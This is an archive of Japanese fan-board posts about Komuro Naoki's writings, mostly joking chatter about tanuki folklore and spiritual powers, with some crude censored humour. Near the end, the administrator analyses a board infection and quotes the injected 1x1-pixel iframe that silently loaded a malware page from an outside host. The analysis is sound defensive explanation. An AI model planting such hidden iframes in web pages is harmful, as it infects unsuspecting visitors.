雑誌記事を所有したければ、雑誌を買うか、国会図書館などでコピーするしかありません。
兵頭先生は主義主張を曲げられない、インテグリティな方ですので、
読者にとっては不便ですが、そのまま突っ走っていただきたいです。amazon みました。
『武侠都市宣言!』が約1万円ですか!へぇ。
驚きました。売れるんですかね。
四谷ラウンドつぶれたみたいですから増刷がありえないからですかね。もし売れているとしたら、
ヤフオクでの小室本の暴落ぶりと好対照ですね。ちなみに、この本の巻末クロニクル。
誤植があるので、ご注意ください。
エロ雑誌『Wooooo!(マガジン・ウォー)』誌連載の「二十八からの手紙」は、
1996年12月号、5(12)、通巻55号から1997年11月号、6(11)、通巻66号まででした。
わたくし、『別冊戦車マガジン』(斉藤名義)や、
『日本のロープウェイと湖沼遊覧船』もっていたんですが、
食うものに困り売却してしまいました。しかし売却したあとで、
売春防止法とロープウェイの関係について読むのを忘れていたことに気づき、
「しまったぁーーー!!」
と絶叫してしまいました。
いまだにその関係がわからず、悶々とした思いです。最近の兵頭先生、同じ北海道ということで、
タイガーマスクと仲がよろしいようですね。タイガーマスクは三越の岡田社長のごとく修斗を追い出された後、
セイケン道という新しい武術を作られたようで、
実際どんな動きなのか、見てみたいです。
セッケン道ならすでに体験入会していると思いますが。武道通信のメルマガ、今度登録してみます。
兵頭先生の新刊を予約しようとアマゾンで検索したら、
過去の絶版本が高値で売られていました。
出版時にはあまり売れなかったのでしょうね。
ふだん月刊誌は「趣味の園芸」しか買わないので
兵頭先生の正論コラムは読んでいませんが
武道通信のメルマガは面白いですよ。
紙じゃないのでヤギさんに占領されることも無いでしょう。
お後が宜しいようで。
かつて地政学といえば、倉前盛通先生とか曽村保信先生でしたが、
いまや、地政学といえば、奥山さん。
奥山さんといえば、地政学。その奥山さんのブログ、
「地政学を英国で学ぶ」
凄く面白いです。
中国の留学生の逸話なんて最高です。
奥山さんにしか書けません。ただ、奥山さん。
しばらく見ないうちにずいぶん老けられましたなぁ…。
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顔色は良さそうなのでさほど心配はしておりませんが、
どうかお体に気をつけてください。
また、この掲示板にもかつて何度か登場された若き学究が、
同じく英国にご留学中です。
お元気ですか。
頑張ってください!
明徳義塾では、還精補脳法なんかも教えてくれるんでしょうか。
できればもう一度高校からやり直したいです、はい。
頭わるいんで、ちょうどいいかもしれないです。
親にちょっと頼んでみますです。もしマンタクに音楽、美術、書道の選択授業があったら、
絶対書道を取りたいです。>男の人の名前で興奮するとは、だいぶ重症ですね。
自称でも女医さんは女医さんですからw。
ヴァーチャン・リアリティでしたっけか?最近、集団自殺とかありましたですし、
ネットってほんとこわいっす。>温泉療法と動物療法の併用をお勧めします。
>道後温泉でのタヌキセラピーが最も効果的でしょう。道後温泉とタヌキですか。
わかりました。
個人的に管理人さんにお願いしてみようと思いますです。あ、管理人さん、修正ごめんなさい。
以後気をつけますです。今日、『正論』11月号を立ち読みしたんですが、
兵頭二十八先生の古典みたいな格調高い小論文を読んで、
それで、僕のきにょう(←なぜか変換できない)書いた文章とを比較して、
ひじょーに反省しました。僕もああゆうのを小論文入試で書きたいですので、
原稿用紙に筆写して文体を真似したいと思いますです。それから、『正論』読んでるとヤギさんバッカなんですけど、
『正論』はヤギさんに占領されたみたいです。
マンタク・チャ先生(謝明徳)は、この世界では有名な方です。
四国にもマンタク傘下の学校があります。
高知にある甲子園常連校です。
漢字が同じだけじゃねーか、というつっこみは無用です。
ロッテ先生の診断結果男の人の名前で興奮するとは、だいぶ重症ですね。
温泉療法と動物療法の併用をお勧めします。
道後温泉でのタヌキセラピーが最も効果的でしょう。
ロッテ先生、ありがとうございますです。「女医」って聞いただけなのに、僕の○○○○○は○○○○です。
(管理人修正済:ウェルテルさん、書き込みは常識の範囲内でお願いします。)>若いころは誰でも同じ悩みを持つものです。
はぁ、そうなんですか。
いつも夢の中で○○する直前、
あっ wet dream だ!
って気がつくんですが、止められないのです。
どうしたらいいのかと、ずっと一人で悩んでいましたです。>精を制御する方法が書かれた本を紹介するので、参考にしてください。
>マンタク・チャ著「タオ性科学(男性編)」エンタプライズ刊ま、ま、ま、ま、ま、ま、ま、マ○タクですかァッ!?
いわゆるマン○ク。
魚拓ならぬ、あのマンタ○。♪マン○ンタクタク、マン○クタク♪
あっそぉーれ!♪○ンマンタクタク、○ンタクタク♪
あっほぉーれ!すみません。どうも興奮がおさまりませんです…。
(管理人修正済:ウェルテルさん、ノリで卑猥な書き込みをしないでください。)僕、ロッテ先生の冗談かとも思ったのですが、
インターネットで調べて見ましたら、なんと見つかっちゃいましたです。
マンタク・チャ著「タオ性科学」。予備校生には5600円はちょっと高いので、
このホームページの文献紹介で勉強したいと思いますです、はい。「wet dream を防ぐ」では、
「月に1回は正常。4〜8回の人もいる」とありましたので、安心しましたですよ。
還精補脳法は難しそうですが、頑張って習得して精を貯めたいと思いますです、はい。でも、まずは、女性の生物学的知識から習得したいと思いますです。
>ケーシー・高峰著「グラッチェ・メディスン(愛・戦士編)民明書房刊これはインターネットではどうしても見つからなくって、
国会図書館の検索でも見つからなくって、あきらめかけていた頃、
僕の○○○○○の魁液が教えてくれましたです。「『魁!!男塾』を読め!」って。
そういうことなのでしょうか、ロッテ先生。
次の予備校の帰りに、市駅前のブックオフで立ち読みしたいと思いますです。ロッテ先生、どーもありがとうございましたですっ!
匿名希望さんへ若いころは誰でも同じ悩みを持つものです。
精を制御する方法が書かれた本を紹介するので、参考にしてください。
マンタク・チャ著「タオ性科学(男性編)」エンタプライズ刊
ケーシー・高峰著「グラッチェ・メディスン(愛・戦士編)民明書房刊
smさんの気が届いたのでしょう。
ヤンキース、再逆転していましたね。>駒場寮は無くなったんですよね。
>何回か遊びに行ったことがあります。
>かなり汚かったです。住んでる人が。そうですね。
実際、住んでる人も建物もかなり汚かったですね。
ある部屋では部屋の床板をはがした上、
そのまま部屋の中で焚き火をした跡がありました。
それを見て、ホカホカと温かい気持ちになった記憶があります。寮の前では、時々私服の公安のオジサマがウロウロして、
悪者から駒場寮を警護していらっしゃいましたから安全ですし。>塩谷先生と東明社と藤原肇先生の関係を
>藤原先生ご自身が先生のファンサイトに書いてるので
>読んでみてください。あ、わたくしも、ときどきリンクをたどって読んでます。
難しくって10分の1も理解できませんが、面白いですね。「しかも、余り人を誉めそやしなどしない私の性格に反して、
患者が大量に来るのを想念したと不埒な願いをし、
それを出発点に医者の人生を始めたと物語る、
そんな医者をベタ誉めした自分が恥ずかしかったが、」との藤原先生の「不埒」発言をキャッシュに読み込んでしまったので、
「ツール」→「インターネットオプション」
→「インターネット一時ファイル・ファイルの削除」でキャッシュを削除、
その上で、「大断言」をHDに向かってささやくことによって、
PCを物質的・霊的に完全洗浄しました。あ、今、またPCに「宇宙巡礼」掲示板を読みこんだので、
同じことを繰り返さなくっちゃ。藤原先生にはお会いしたことがありますが、実際、歯に衣着せぬ方で、
小室直樹博士との対談のときのことも歯に衣着せず語ってくださいました。
恐ろしくてとても書けません。>今は、ゲーテのファウストについていろいろ書かれてます。
ファウストはゲーテが霊界通信をして書いた本ですから、
そのうち、通信つながりで、
つのだじろうの『恐怖新聞』の話も出てくると思います。>次はセカンドについてでしょう。
>千葉茂か鎌田実か迷うところです。松商(まっしょう)出身の千葉さんでいきましょう。
>もしかすると魔法瓶の虎と象の関係についてかもしれませんが、
>かわいい狸の出番はありませんね。そうはいうものの、魔法のあたりに可能性を見出したいと思います。
>秘術を身につけるのに、精を出しては駄目です。
>精を貯めるんです。あの袋の大きさを見てください。
>我慢に我慢をした結果があの姿です。
>得るものが大きい時は、失う物も大きいのです。
>海老で鯛を釣るです。わたしの場合、小泉首相と同じで、
どうしても wet dream を見てしまいまして、そこまでタマりません。
sm先生、タメるにはどうしたいいのでしょうか(19歳・予備校生・匿名希望)。
桜木さん、情報どうもありがとうございます。渡部昇一・谷沢永一共著『禁忌破りの近現代史』ビジネス社 160頁
は、確実に関連文献になると思います。
このWebサイトでは、初めての情報ですから、
「当たり前すぎる」ため掲載していないわけではありません。
どうもありがとうございます。というわけで、小野寺さーん、お願いしまーす。
さて、ここで、
「東大法学部には学問としての法律学はない」
という小室直樹博士のご発言ですが、
その真意はどこにあるんでしょうね。渡部昇一氏の耳と頭と口を経由しての、
聞き伝えの博士のご発言ですから、
「東京大学」とはどういう意味か、
「学問」とはどういう意味か、
「法律学」とはどういう意味か、
それらが確定できない限り、
わたくし、コメントは怖くてできません。ひとまず
「学問としての法律学」
の意味はペンディングにしておいたとして、
東京大学という点に重点があって、
「東大法学部は誕生の由来からして官僚養成機関であった、
だから実定法の解釈学としての法律学はあっても、
学問としての法律学はない。」
ということなのか。それとも、大学という点に重点があって、
「最高学府といわれる東大法学部でさえ、学問としての法律学がない、
いわんや○×大学においてをや。
日本の大学はドイツのフォルクス・シューレみたいなものだから。」
ということなのか。同じようなことが「学問」「法律学」にもいえますから、
もう、わたしみたいに異常にこだわると、
結局博士にお伺いしてみるしかなくなります(笑)。いやぁ〜…
タヌキとか霊能力について書いているときには、
ポンポンと嘘八百、冗談半分で書き込めるんですが、
こと小室直樹博士についてとなると自閉症気味になってしまうんです。
これがサイト管理人としての、わたくしの限界ですな。でも、桜木さん、日本の将来のためにも、あきらめず、
どうか頑張ってその「東大クン」を説得してみてください!
その過程で小室直樹博士の学問の理解がきっと深まるはずですよ。これからもどうぞよろしくお願いします。
駒場寮は無くなったんですよね。
何回か遊びに行ったことがあります。
かなり汚かったです。住んでる人が。塩谷先生と東明社と藤原肇先生の関係を
藤原先生ご自身が先生のファンサイトに書いてるので
読んでみてください。
今は、ゲーテのファウストについていろいろ書かれてます。
次はセカンドについてでしょう。
千葉茂か鎌田実か迷うところです。
もしかすると魔法瓶の虎と象の関係についてかもしれませんが、
かわいい狸の出番はありませんね。
秘術を身につけるのに、精を出しては駄目です。
精を貯めるんです。あの袋の大きさを見てください。
我慢に我慢をした結果があの姿です。
得るものが大きい時は、失う物も大きいのです。
海老で鯛を釣るです。
女性霊能者についての質問は禁止です。ではボストンの松井選手に気を送るので、失礼。
あ、逆転されてる。
はじめまして。
平素より小室博士にはよく学ばせていただいています。こと、文献情報についてはこのホームページを特に参照させていただいています。
ところで、2001年にビジネス社から発売された渡部昇一・谷沢永一両氏の対談『禁忌破りの近現代史』160頁に渡部氏の発言として、以下のようなものがあります。京都大学理学部数科学科を卒業し、大阪大学大学院経済学研究所を経て、東京大学大学院法政治研究科を終了し、東京大学から法学博士号を授与された小室直樹さんも、「東大法学部には学問としての法律学はない」といっている。
一通り検索してみたのですが、この発言がアーカイブに見つからなかったため、とりあえず書き込んでみました。
小室先生の大学に関する発言としては「当たり前すぎる」ために掲載していないだけかも知れないため、そのときは申し訳ありません。
この発言について、私個人の体験を少し述べようと思います。
東京大学法学部に在籍する知人の男性が、「国際法に関する小室直樹の見解は間違っている」と言っていました。どういうことなのか訊いてみますと、どうやら彼の思い描く国際法というものは「条文として制定されているもの」を指すらしく、取り決めがあってそれが批准されれば国際法としては有効であると、言いました。
私は国際法が本質的には慣習法であることなど、国際法に関して小室先生が述べるところを話しましたが、結局、彼がそれを理解することはありませんでした。その彼は、現在東大に在籍しながら外務省に出入りしています。
この一件から、小室博士が言うように「東大に学問としての法律学はない」ということがはっきりと自覚できました。
加えて言うと、その友人は東大の国際法研究サークルに所属していて、捕鯨問題など環境関係の内容を学んでいます。そして、小室博士が言うように東大生の彼は「戦時国際法は過去のもの」と認識しているようです。
一体、この先の日本がどこに行くのか、、、非常に不安です。
長文失礼しました。それでは。
松山の人は、
「あ、そうですか。」のことを
「あ、ほうですか。」といいます。決して、決して、
「アホですか。」
の意ではありませんので、
松山人とは以上をご了解の上でお話ください。
>1号はよりによって女狐に術をならったものだから、
>後にサタンの手先にまでなってしまったのです。
ははぁーん、そういうことでしたか。
すべてはつながっているのですね。わたくしが「サタン」と聞くと思い出す、
一つの逸話があります。それは、わたくしが大学時代のこと。
同じクラスに「長老」というあだ名の人がおりました。
他大学を卒業して、再度大学生活を送り始めた彼は、
ほかのクラス生と比較してちょっと歳をとっていたものですから、
そういうあだ名になったのです。さて、その「長老」はあの駒場寮に住んでいたのですが、
彼の趣味の一つに異性間の接触行為がありました。それは、キャンパス内でさかんに勧誘活動をしている、
まっすぐな目をした原理研の女の子のオシリを触ること。
マニアにとっては「たまらん」らしいです。その「長老」。
あまりにしつこく接触を試みた結果、
被接触者の女の子から悲鳴に近い声で投げつけられた言葉。
それが、――。「サタンッ!」
以上、実話です。
>外国を探検するより、内観が必要ですね。
>福岡正信氏の下での農業修行を薦めます。1号さんは、以前、NHKの番組で巻きわらを真剣で試し切りしていました。
わらを斬ることよりも、わら一本の価値に目覚めることが重要ということですかね。
>車掌はホット湯田駅の更衣室で見失いました。なるほど、宮沢さんは岩手県のご出身ですから…。
鉄道がホット湯田駅を通っているのは、
今の若者言葉でいう「リスペクト」なのでしょうね。
>一人で女性風呂に行ったと思われます。
>あのタヌキめ。おおかた女性に化けてうらやましい思いをしたことでしょう。
わたくしも精を出して、秘術を身につけたいと思うようになりました。
>松下松蔵翁のお手伝いをしていた塩谷先生と植木等氏のほうが
>ずっと似てます。兄弟ではありませんが。塩谷先生といえば、故塩谷勉九州大学教授が弟さんですね。
そうそう、塩谷先生のご本に時々出てこられる、
玄和
会ならぬ真和界の柿内さん、亡くなられたそうです。
ご冥福をお祈りいたします。
実は、わたくし、柿内さんが亡くなられる半年前にお会いいたしました。
どうしてもお聞きしたいことがありましたので。それは、どういうことかと申しますと、――。
軍隊狸で有名な愛媛県の
壬生川 町には、
霊能力をお持ちの方がおられます。このお方、とある企業で電極をいっぱいつけて実験をさせられたこともあるという、
自称・霊能力者ではない、真正の霊能力者です。あるとき、その方にお願いして、私の手から出る「気」を見てもらいました。
そうすると、通常、利き手から多くでる気が、
わたくしの場合、利き手ではない左手から多く出ているとのこと。
空手の修行の一環として食事のときには左手を使っていたせいかもしれません。ところで、
鈴の印は利き手が上になるように結ぶわけですが、
仮に「利き手=気が出る手」ということを意味するのでしたら、
わたしは利き手ではない左手を上にして印を結ばねばなりません。根が真面目なわたくし、
この疑問を解決すべく、先の割れた竿の先に疑問点を切々と書いた手紙を挟みまして、
そして、あわよくば柿の実をもぎ取るべく、
柿内さんに直訴したのです。そして、そのお答え。
「わかりません。塩谷先生は『利き手』とだけおっしゃっておられました。」
……。
こうなったら塩谷先生の熱海のご自宅に直訴するしかないのでしょうか。
しかし、おっちょこちょいなわたくしは、
建物を間違えて副島先生の別荘の方に直訴して、
「そんな先の割れた竿で魚が釣れるか!バカモノッ!」
と、怒鳴られるような気がしてなりません。
1号はよりによって女狐に術をならったものだから、
後にサタンの手先にまでなってしまったのです。
外国を探検するより、内観が必要ですね。
福岡正信氏の下での農業修行を薦めます。松本先生が愛媛で生活されてたとは知りませんでした。
ドクロベレー帽の下に葉っぱが載ってないことを祈るばかりです。
まさか手塚先生も・・・以下自粛。
車掌はホット湯田駅の更衣室で見失いました。
一人で女性風呂に行ったと思われます。
あのタヌキめ。森本兄弟は似てますが、袴田兄妹は似てないですね。
松下松蔵翁のお手伝いをしていた塩谷先生と植木等氏のほうが
ずっと似てます。兄弟ではありませんが。
★smさん>では下のサイトを見て、秘技を研究してみてください。
>手の動きがポイントですよ。小室先生にも教えなければ。
>http://www.harapan.co.jp/Mire_room/JImage_j/kitsune_J.htm
>http://www.harapan.co.jp/Mire_room/JImage_j/tanuki_J.htmわたくし、これを見て、ただただ驚きました。
本郷猛は狐にあの変身術を教わっていたのですか。
ブッたまげて、思わず椅子から飛び上がりました。藤岡弘こと本郷猛は数少ない愛媛県出身有名人のヒーローですが、
狸ではなく狐に教わったという事実にもまた驚きました。せめて、狸であって欲しかった…。
しかし、事実は願望によって変わってくれるほど甘いものではなく…
事実とはまさに冷酷なものなのですね。
>井村先生の遺された狸は放射線技師、
>まだ見ぬ狐は薬剤師になったらしいです。そうでしたか。
smさんならではの情報ですね。井村先生が亡くなられたのは、今のわたくしと同じ年齢でして…。
生き神様・松下松蔵翁がご存命で井村先生とお会いしておられれば、
あるいは、超人・張宝勝さんがご自由に出国できて井村先生とお会いしておられれば、
井村先生を肉体的にお救いになられたにちがいありません。そういえば、小室直樹博士は徳田さんとも対談されておられます。
>兄弟ネタをいろいろ教えてもらったのでお返しに。
>森本タケローと哲郎は兄弟なんです。へぇ〜へぇ〜へぇ〜。
そうだったんですか。
お二人の関係について考えたこともありませんでした。
なるほど、お顔もよく似ていらっしゃる。お兄さん
写真は外務省Webサイトから>機械の体を欲しがったのが兄です。
そうでしたか。
ずいぶん老けられていたのでまったく気がつきませんでした。>背の低い車掌さんに聞いたので、間違いありません。
そうでしたか。
あの車掌さん、実は狸じゃないかと私はにらんでいるのです。
もしかしたら、校長が従軍した後で車掌になったとも考えられます。なぜなら、松本先生はご幼少のみぎり、
ご両親のご実家の愛媛県に疎開なされまして、
その時、間違いなく狸に化かされておられますから。そうだ。
今度、車掌さんにお会いになったときは、
あの女の人のマツゲにはマッチ棒が何本のるのか、
聞いておいていただけるとうれしいです。
車掌さんでしたら、彼女が座席でウトウトされおられるときに、
そっとマッチ棒をのせる実験もできると思います。
さて、兄弟情報といえば…袴田陸奥男と袴田里見とは兄弟ですね。
弟さんの袴田里見は、小室直樹博士が本の中でときどき挙げられる、
日本におけるイデオロギー闘争の(無いことの)例としての宮本・袴田論争。
あの一方当事者の袴田さん。1993007『[乱世]日本原論』の注によると、
里見さんはこうおっしゃったそうです。「白いメシを食う。それが黄色いウンコになる。これがレーニンの弁証法だ」
わたくし、この弁証法の定式化を読んだとき、
そのあまりの見事さにブッたまげて、思わず椅子から転げ落ちて、
前日食した白いメシが消化された黄色いウンコをもらしました。あ、これは
尾篭 な話ですみません。それでもって、袴田陸奥男は、
青学の茂樹先生と
ロシアの政治家イリーナ・ハカマダさんのお父さんですね。
★FITOMAROさん、お元気でしたか!!
わたし、荻野さんは知りませんでしたが、これ十分笑えますね(笑)。
現代文の出口ですか〜。では予備校講師つながりということで、
http://members14.tsukaeru.net/kyuuri/dairi.html
の「荻野ラップin flash」とかどうでしょう(笑)
出身地と学校から村上さんは少林寺だと、勘違いしてました。
南郷先生のところでは霊力の修行は無理ですね。
では下のサイトを見て、秘技を研究してみてください。
手の動きがポイントですよ。小室先生にも教えなければ。
http://www.harapan.co.jp/Mire_room/JImage_j/kitsune_J.htm
http://www.harapan.co.jp/Mire_room/JImage_j/tanuki_J.htm井村先生の遺された狸は放射線技師、
まだ見ぬ狐は薬剤師になったらしいです。兄弟ネタをいろいろ教えてもらったのでお返しに。
森本タケローと哲郎は兄弟なんです。
機械の体を欲しがったのが兄です。
背の低い車掌さんに聞いたので、間違いありません。
そうでしたか。
smさんは博覧強記のドクターだったのですか。
四年来の謎が一つ解けました。
ちなみに、愛媛では緑色のピーポーもあるようです。かわいい小狸達を手足のように操っていたのは、なんと!
♪これっきり、これっきり、もぉ〜、是清でしたか!狸の陰に達磨あり。
仏様の手のひらの孫悟空のようなものでしょうか。
ありがたくて手を合わせてしまいました。國井善弥氏についても知りませんでした。
ほんとになんでもご存知なんですね。なるほど、霊能力ですか。
わたしが武術を学んだのは、
日本空手道玄
和
会でして、
唯物論・弁証法に立脚した空手の流派だったのです。
当時、霊能力の修行など夢のまた夢。60年代から70年代にかけて、空手界に吹き荒れた、
「お父さんお母さんを大切にしよう」笹川良一率いる全空連(全日本空手道連盟)の、
空手諸流派統一化運動の一環としてのすさまじい兵糧攻めの嵐に屈しなかったのは、
半島系ネットワークから兵糧を得た空手バカ一代・大山倍達(崔 )館長率いる極真会館。永
宜
そして、武士は食わねど高楊枝、南郷
継
正師範率いる清貧の科学的空手組織、玄
和
会。
関東ではそのたった二つだけだけだったという話は聞いたことがありません。有難いことに、わたくし、玄
和
会では多くのことを学ばせてもらいましたが、
ただ、その思想的基盤ゆえに霊能力だけは学ぶことができませんでした。
今から霊能力を身に着けるために武道を学びなおすとしたら、
出口王仁三郎と仲の良かった植芝盛平翁の合気道ですかね。近代日本における最大の霊能力者の一人は、大本教・出口王仁三郎でしょう。
ですから。
小室本では1986001『罵論・ザ・犯罪』にも大本教弾圧の話がでてきます。
また、小室直樹博士は、八幡書店・武田崇元(武内裕)氏の
『出口王仁三郎の大降臨』光文社に
左のような推薦文を寄せておられます。また、小室直樹博士ご自身、
1983029「過激な天才のパンツはフェンディ――
本誌美人記者が突撃!あの小室直樹センセイに聞いた
『角栄とポルノと猫とマックス・ウェーバー』について」
では、以下のような霊的実験をなされたことを告白されておられます。
![]()
さて、smさんの霊能力話に啓発されて、
今日は以下の本を読み直しました。出口京太郎『巨人 出口王仁三郎』講談社
出口日出麿『生きがいの創造』講談社
高木宏夫『日本の新興宗教』岩波書店
三浦つとむ『レーニン批判の時代 三浦つとむ選集2』これら一見すると出鱈目な、
そして百見してもやっぱり出鱈目な取り合わせの四冊。
出鱈目に読みながら、霊能力について考えておりました。
その副産物として、いくつか面白い事実を発見しました。まず一つ。
『日本の新興宗教』が実質的には三浦との共著であることは以前から知っていましたが、
今回、発見したのは、高木宏夫と川島武宜とは実の兄弟であり、
三浦は『思想の科学』誌にかかわっていたときに、高木・川島に世話になり、
そこで高木の著述業スタートとなる『日本の新興宗教』に協力することにしたことなど。次にもう一つ。
『巨人 出口王仁三郎』『生きがいの創造』の両書籍の解説、跋は、
ともに、上田正昭・京都大学教授(当時)でして、
「なぜだろう」と思っていたら、
上田教授、なんと出口王仁三郎の甥にあたること。そうそう、出口王仁三郎の血族といえば、SPSの出口汪さんは有名ですが、
結構、似ています。
今日は『巨人 出口王仁三郎』を読んで、
私の霊能力が励起された気がした箇所を引用して終わりにしたいと思います。昭和10年に起きた、第二次大本事件について書かれた部分(文庫版、383〜4頁)です。
ともあれ、その因果な十二月八日の暁、百名ほどの武装警官が突然、別院をとりかこみ、やみくもに攻めかけてきた。彼らは「出口はどこだ、出口はどこだ」と、口々にわめきたてている。寝ぼけまなこの役員や信徒たちはなんのことやらわからない。それでも「ハイ、ハイ、出口ならこちらでございます」といいながら、突然の乱入者たちを案内する。警官たちが「出口はこちらでございます」と連れていかれたところがなんと家の裏口で……。ほんとうにあった話なのだが、これではまるで落語である。
夏目、秋山、南方、正岡、みな予備門で同級生でした。
当時彼らに英語を教えていたのは高橋是清です。
彼は日露戦争を財政面で支えた人物でしょう。
かわいい小狸達を手足のように操っていたのは
霊能力者の達磨さんだったのです。
川面門下といえば、今泉定助氏の用心棒だった
鹿島神流の國井善弥氏は人を自在に操れる人だったようですね。
生涯無敗の武術家は霊能力なしにありえないでしょう。
武術家の村上さんも修行してください。
まずは葉っぱを頭に載せて、お地蔵さんに化ける術からです。
黄色いピーポーピーポーが来そうなので、これにてドロン。
従軍狸と校長狸について、
南方熊楠が「十二支考」に書いているとかいないとかということは初耳です。
smさんの学識の深さに感嘆いたしますと同時に、己が浅学を恥じる次第です。秋山真之があっちの世界に行ってしまったのは、
たしか『坂の上の雲』の終わりの方に書いてあったので知っておりましたが、
秋山は言霊学の大家・川面凡児を読むほどの読書家ですから、
博物学の大家・南方の「十二支考」を読んでいたとしても不思議ではありません。それに、ロシア大使館は狸穴にあるのですか。
わたくし、十年以上東京におりましたのに知りませんでした。
ははぁん、なるほど、そういうことでしたか。日露戦争とは、要は、
伊予・松山狸に操られた日本と、江戸・麻布狸に操られたロシアとの戦争であり、
結局、狸同士の代理戦争だったということでしょう。歴史の表舞台に登場しないことになっている愛媛県人が、
日露戦争に限って陸軍・秋山好古と海軍・秋山真之という形で登場したのはなぜか。
いつも不思議に思っておりました。
しかし、秋山家が伊予狸の頭領家だったとしたら理屈が通ります。
従軍狸と校長狸の関係について
南方熊楠が「十二支考」に書いているとかいないとか。
それを読んだ秋山が驚いてあっちの世界に行ってしまったとか
という話は聞いたことがありません。
ロシアの大使館が狸穴にあるのは、この事と関係があるのでしょう。
では、病院にいってきます。
掲示板を読んで下さった方から、先ほどご心配のメールをいただきました。
「冗談だとは思いますが…」ということでしたが、ご推察どおり冗談です。
でも、ちょっと度が過ぎたかな、と反省しております。
「精神を病んで」という表現はどぎつ過ぎました。大変失礼しました。
ちなみに、こちらが脱腸気味の私の主治医です。![]()
この「小室直樹文献目録」掲示板、
最近ではすっかり狸与太話掲示板と成り果てておりますが仕方ないのです。
とにかく愛媛は狸の話題が多いものですから、
愛媛に居ると耳には入ってくるのは狸の話ばかり。
したがって、頭の中も狸一色となります。
我が家のように狸を迫害する一家も例外的に存在しておりますが、
それだけ愛媛では狸が愛されているのかもしれません。
そして、狸については歴史も古いようです。
弘法大師が道に迷ったときに狸が案内した話とか。もっと時代をさかのぼりますと、
愛媛にはタヌキ帝国があったようです。
最近、タヌキの兵馬俑が発見されました。![]()
ちなみに、こちらは中国の兵馬俑。
![]()
また、水晶狸も発見され、四国初のオーパーツだと話題になっています。![]()
ちなみに、こちらは水晶髑髏。
![]()
嗚呼、この妙な流れを変えるには、児島さんの関連文献情報しかありません。
児島さん、よろしくお願いします。
>せめて管理人の方は管理画面からタグOKにしたいのですが、村上さんは管理パスを知っていらしたであろうか。メールで連絡できないし。と、考えあぐねていました。
申し訳ありません。
実はわたくし、現在、精神を病んでおりまして、
ただいま動物セラピー(主に狸)を受けている最中なんです。脱腸気味のお医者様からは、
「気持ちをゆったりもって、安静にしておくんじゃ。
聖徳太子もお心を病まれた折、道後温泉に来られて直していかれた。
あんたさんも道後温泉にでもつかって、のんびりするとえぇ。」
と言われており、メールアドレスは秘密になっています。先日、そのお医者様の脱腸がどうも気になって、
「先生のそれはご病気ですか?いわゆる医者の不養生ですか?」
とたずねましたら、
「バカッ。そんな不躾なことを聞くからサナトリウムに入れられるんだ。
わしの「これ」は金運を呼ぶためじゃ。
しかし、これからは寒くなるから縮んで困る。」
と怒鳴られ、かつ、愚痴られました。
閑話休題。
小室直樹文献目録の表玄関を舐めるようにご覧になられますと、
私へのメールが送れるようにはなっています。>でも投稿を削除したり、ソースを見たりできる、ということはご存知のようですから、取りあえず安心して「小室直樹掲示板」も基本的にタグ禁止に致します。
了解いたしました。
ちなみに、私が管理画面に入ることができるレンタル掲示板は、
小室直樹文献目録掲示板と副島隆彦文献目録掲示板の二つです。それから、ソースを見たのは、
ブラウザの左上にある「表示(V)」
→「ソース(C)」というルートで、なんです。
このやり方、4、5年前にFITOMAROさんに教えてもらいました。
お元気ですか?
村上さん、こんばんは。副島系の掲示板は全てタグ禁止にしたのですが、この掲示板だけまだ使用可能にしています。
せめて管理人の方は管理画面からタグOKにしたいのですが、村上さんは管理パスを知っていらしたであろうか。メールで連絡できないし。と、考えあぐねていました。
でも投稿を削除したり、ソースを見たりできる、ということはご存知のようですから、取りあえず安心して「小室直樹掲示板」も基本的にタグ禁止に致します。
近いうちに「個別のタグ許可」機能を付けたいと思います。
私のCGIの勉強具合によるので、実現までもうちょっとお待ち下さい。ウィルスやタグの解説有難うございます。
やはり政治・経済系のサイトですから、難しい話題を理解しやすくするためにも、顔写真やグラフや強調文字は使いたいです。
あ、まだ大丈夫みたいですね。 対応策としては、タグ禁止措置がもっとも安全でしょう。
http://snsi-j.jp/boyaki/diary.cgi
(今回の概要はこちら↑)
ただ、私のようなタグ・フェチ人間にはちょっとつらい。そこで、次善の策としては(システム上、可能ならばですが)、
個別のタグ許可、あるいは個別のタグ禁止でもいいのではと思います。
ご検討くださいませ。もっとも「管理人はタグを使える」ということなら全く問題ないです(笑)。
今回感染したついでに、投稿のソースを拝見させてもらいました。
その結果判明したのは、インラインフレーム・タグを利用していたということです。インラインフレーム・タグとは何か。
それは、htmlファイルに別のhtmlファイルを挿入するときに使うタグです。(例)<iframe src=http://*******.com width=* height=*></iframe >
これをつかうと、いわゆる顔出し看板のように、
顔の部分だけ別のWebサイトを表示させることができるわけです。
画像は、たぬき(浅草・台東区・東京都)より。これを使うことによって、
副島系レンタル掲示板を見ていながら(上の写真ではタヌキ)、
部分的にはウィルス感染源のWebサイト(上の写真ではお嬢さん)をもまた
見ていることになってしまうのです。
閲覧者がクリックなど全くしなくても、です。あ……いや……。
私は「写真のお嬢さん」=「ウィルス感染源」だということをいいたいのではないのです。
たまたま同型(isomorphic)だったので、そういうことになってしまいましたが。
全くの偶然です。他意はありません。
ちなみに今回の投稿のソース(の一部)はこうなっていました。
<iframe src="http://gb.bbs.ws/book.php?book=***" height="1" width="1"></iframe> ご丁寧に「高さ」と「幅」を1ピクセルに設定しています。
その結果どうなるかと申しますと、――。
掲示板の閲覧者は掲示板の内容ともにウィルス感染源をもまた見ています。
しかし、画面に表示されたウィルス感染源のWebサイトは小さすぎて、
見ていることに気がつかないのです。もっともそんなことに気がつく前に、
変なポップアップがポンポン出てきたり、
ウィルス対策ソフトのアラートが出たりして気が動転してますから、
1ピクセルの点(ドット)になど気がつかなくて当然です。
以上、元凶となったタグはインラインフレーム・タグだったと思われます。最後に、インラインフレームの使用例を一つ。
学問道場をこちら↓に表示させましょう。
ちなみに、先ほどウィルスバスターオンラインスキャンの結果、
四つのウィルス感染ファイルが見つかりました。
前回、削除したファイルと同一ファイルでした。以下、ウィルス・ファイルについての説明です。
JAVA_BYTEVER.A
ウイルスタイプ: その他
破壊活動の有無: なし
別 名: ジャバベリファイ, ByteVerify, バイトベリファイ, バイトバー
対応パターンファイル: 1.546.29
危険度: 低
感染報告: 低
ダメージ度: 中
感染力: 低
特 徴:
パターン546(1.546.00)から「JAVA_BYTVERIFY.A」の検出名で対応しておりましたが、パターン731(1.731.00)にて「JAVA_BYTEVER.A」に改称いたしました。以前のパターンでは「JAVA_BYTVERIFY.A」で検出します。最新のウイルス対策のためにも最新のパターンファイルをご使用ください。これは 「Microsoft VM の問題により、システムが侵害される (816093) (MS03-011)」 のセキュリティホールを利用したコードを含むJAVA Classファイルに対する検出名です。
